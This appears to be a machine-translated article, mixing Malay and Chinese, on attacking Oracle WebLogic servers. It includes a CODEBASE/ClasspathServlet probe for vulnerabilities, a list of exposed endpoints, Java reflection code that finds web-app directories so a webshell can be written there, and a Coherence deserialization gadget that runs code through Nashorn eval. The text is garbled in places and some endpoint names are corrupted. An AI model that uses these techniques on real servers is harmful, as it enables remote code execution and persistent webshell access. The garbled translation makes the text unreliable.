Pelayan weblogik dicirikan oleh seni binanya yang besar dan kompleks, yang secara amnya sukar untuk dipertahankan oleh pasukan biru dan kebanyakannya digunakan pada rangkaian luaran. Selain itu, kos serangan weblogic adalah agak rendah Selagi terdapat kelemahan, anda secara amnya boleh mendapatkan kebenaran root pelayan sasaran. Semasa latihan serangan dan pertahanan, ia difokuskan oleh semua pasukan penyerang dan pertahanan utama.
Sudah tentu, terdapat lebih kurang masalah dengan pelbagai program eksploit yang kini tersedia di Internet, termasuk alat saya sendiri. Jadi baru-baru ini, atas permintaan rakan, saya menyusun beberapa kaedah serangan dan kegunaan "sempurna". Pasukan merah boleh menggunakannya untuk menambah baik alatan mereka sendiri dan pasukan biru boleh menggunakannya untuk menulis laporan kebolehkesanan.
Antara maklumat yang tersedia pada masa ini di Internet, tidak ada cara yang lebih baik untuk menentukan sama ada terdapat kelemahan dalam weblogik. Biasanya, pendekatan pelbagai alat adalah menggunakan exp sekali Jika ia berjaya, secara semula jadi akan ada kelemahan Jika ia gagal, tidak akan ada kelemahan. Atau, mengesannya melalui dnslog. Kedua-dua kaedah ini dihadkan oleh pelbagai faktor, menyebabkan kadar positif palsu dan positif palsu yang tinggi. Ia juga mungkin untuk mencetuskan peraturan peranti keselamatan seperti honeypots dan waf.
Sudah tentu, di sini saya akan memperkenalkan cara yang lebih mudah untuk menyemak sama ada terdapat kelemahan, iaitu menggunakan fungsi CODEBASE T3 RMI untuk menyemak senarai hitam weblogic.
pangkalan kod: Ringkasnya, pangkalan kod ialah laluan untuk memuatkan kelas dari jauh. Apabila pengirim objek mensirikan objek, maklumat asas kod dilampirkan pada aliran bersiri. Maklumat ini memberitahu penerima tempat untuk mencari kod boleh laku untuk objek tersebut.
Maka bolehkah kita menyimpangkan pemikiran kita, bagaimana jika kelas ini adalah kelas weblogic senarai hitam? ? Dan pangkalan kod weblogic menggunakan protokol http untuk menghantar kelas.
Kaedah penggunaan adalah seperti berikut. Gunakan penyemak imbas anda dan sahkan bahawa pihak lain adalah pelayan weblogik. >
xmldecoder blacklist1.1 T3 codebase analysis
http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class
didaftarkan untuk memproses codebase code, iaitu laluan permintaan ialah kelas
http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
Kod di
if(!server.isClasspathServletDisabled()) { servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"}); }
weblogic.rjvm.InternalWebAppListener#contextInitialized
Sudah tentu, adakah terdapat juga kelemahan membaca fail sewenang-wenangnya? Jawapannya ya, tetapi terdapat senarai hitam yang melarang fail dengan akhiran tertentu dibaca. Senarai senarai hitam adalah seperti berikut
Secara teorinya, anda juga boleh menggunakan CODEBASE untuk membaca kelas pengguna dan memuat turunnya secara setempat untuk analisis kod. Premisnya ialah anda perlu tahu apa nama kelas pengguna. Sudah tentu, terdapat senarai hitam juga. banyak, jadi saya tidak akan bercakap mengenainya di sini Punca dan analisis kelemahan.
URL pengesanan kerentanan
/CoordinatorPortType
RegistrationPortTypeRPC
PesertaPortType🎜PortType🎜PortType pe11
RegistrationPortTypeRPC11
ParticipantPortType11RegistrationRequesterPortType11Saya rasa kesukaran untuk mengeksploitasi kerentanan ini
Terdapat hanya kod gema di Internet, tetapi tiada kod penggunaan, seperti kuda ingatan
2 Jika anda menulis kuda, anda mungkin menghadapi masalah laluan. Laluan wenlogic adalah rawak, dan penyelesaian yang didedahkan pada masa ini di Internet adalah letupan.
3. Bagaimana untuk mencari semua Konteks?
Mari kita selesaikan satu persatu, mengambil exp daripada weblogic 10. .Panggil fungsi weblogic.utils.Hex.fromHexString untuk menukar fail kelas yang dikodkan hex ke dalam format binari 2. Panggil kaedah defineClass org.mozilla.classfile.DefiningClassLoader untuk memuatkan fail kelas di atas ke dalam mesin maya Medium
3. Panggil kaedah newInstance untuk menjana contoh kelas yang ditambahkan pada JVM di atas
4. Panggil kaedah contoh untuk menyelesaikan seranganDi sini saya mendedahkan kaedah, yang telah diuji di bawah weblogic 10/12 dan tidak terjejas oleh protokol Dalam erti kata lain, selagi anda boleh melaksanakan kod dalam weblogic, saya boleh mendapatkan semua weblogic webcontext. . Kodnya adalah seperti berikutMalah, anda tahu muatan Selepas melihat sekilas, anda akan tahu cara menulis xmldecoder. t pergi ke butiran di sini
Semua soalan di atas sebenarnya boleh disimpulkan kepada satu soalan, iaitu, bagaimana untuk mencari konteks semua aplikasi web di bawah weblogic?
java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne"); m.setAccessible(true); ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null); List<webappservletcontext> list = new java.util.ArrayList(); StringBuilder sb = new StringBuilder(); for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) { java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children"); childrenF.setAccessible(true); java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime); java.util.Iterator iterator = set.iterator(); while(iterator.hasNext()) { Object key = iterator.next(); if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) { Field contextF = key.getClass().getDeclaredField("context"); contextF.setAccessible(true); WebAppServletContext context = (WebAppServletContext) contextF.get(key); list.add(context); } } } returnlist;</webappservletcontext>
利用上面的代码,获取到weblogic 加载的所有的web context后,我们可以调用context.getRootTempDir().getAbsolutePath()
方法去获取目录的位置,然后写入webshell。
我的代码如下
List<webappservletcontext> contexts = findAllContext(); Iterator<webappservletcontext> i = contexts.iterator(); StringBuilder sb = new StringBuilder(); while(i.hasNext()) { WebAppServletContext context = i.next(); sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath())); } returnnew ByteArrayInputStream((sb.toString()).getBytes());</webappservletcontext></webappservletcontext>
截图如下
weblogic 12.x 中,没有org.mozilla.classfile.DefiningClassLoader这个类,况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式,那就是通过java调用js。
从 JDK 1.8 开始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性,其中包含在 JDK 7 中引入的 invokedynamic,将 JavaScript 编译成 Java 字节码。
注意,不支持1.5以及1.5以下的JVM
在java执行js时,可以调用任意java对象,方法,类。需要注意的是,java是强类型语言,而js是弱类型语言,js有的时候可能会代码意想不到的类型转换。这里需要注意
只需要将上面加载context的代码,改成js就可以,在这里我贴一张截图
在nashorn中,默认最后一个变量作为调用本次js的返回值
在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具, 。当然也有一点点bug,不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework
漏洞探测的话,参考前面的黑名单下载方式
当然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,无法做到类似于CC链的任意代码执行,目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包,部署恶意代码。
但是我们依旧可以通过反序列化的链式执行,调用nashorn的方式,间接做到任意代码执行。
而我们待执行的js,通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下
image-20210329124530132
当然,corherence gadget处需要修改成如下
private static ChainedExtractor getChainedExtractor() { returnnew ChainedExtractor(new ReflectionExtractor[]{ new ReflectionExtractor( "newInstance", new Object[]{} ), new ReflectionExtractor( "getEngineByName", new Object[]{"nashorn"} ), new ReflectionExtractor( "eval", new Object[]{getJsCode()} ) }); }
Atas ialah kandungan terperinci Apakah teknik serangan weblogik?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!